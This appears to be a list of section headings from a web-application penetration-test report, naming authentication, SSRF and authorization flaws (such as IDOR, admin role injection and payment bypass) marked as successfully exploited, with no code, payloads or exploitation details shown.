AUTH-VULN-01: Credential Interception via HTTP Transport

AUTH-VULN-02: Protocol Downgrade Attack (No HSTS Headers)

AUTH-VULN-03: Session Hijacking via Non-Secure Cookies

SSRF Exploitation Evidence

Successfully Exploited Vulnerabilities

SSRF-VULN-01: HTTP Method Bypass in Profile Image URL Upload

Authorization Exploitation Evidence

Successfully Exploited Vulnerabilities

AUTHZ-VULN-04: Anonymous Access to All User Memories

AUTHZ-VULN-06: Admin Role Injection During Registration

AUTHZ-VULN-07: Regular Users Creating Products

AUTHZ-VULN-01: User Profile Data Access (IDOR)

AUTHZ-VULN-02: Shopping Basket Access (IDOR)

AUTHZ-VULN-03: Feedback Data Access (IDOR)

AUTHZ-VULN-05: Basket Item Modification (IDOR)

AUTHZ-VULN-08: Cross-User Basket Checkout

AUTHZ-VULN-09: Deluxe Membership Payment Bypass

AUTHZ-VULN-10: Registration Workflow Bypass for Admin Access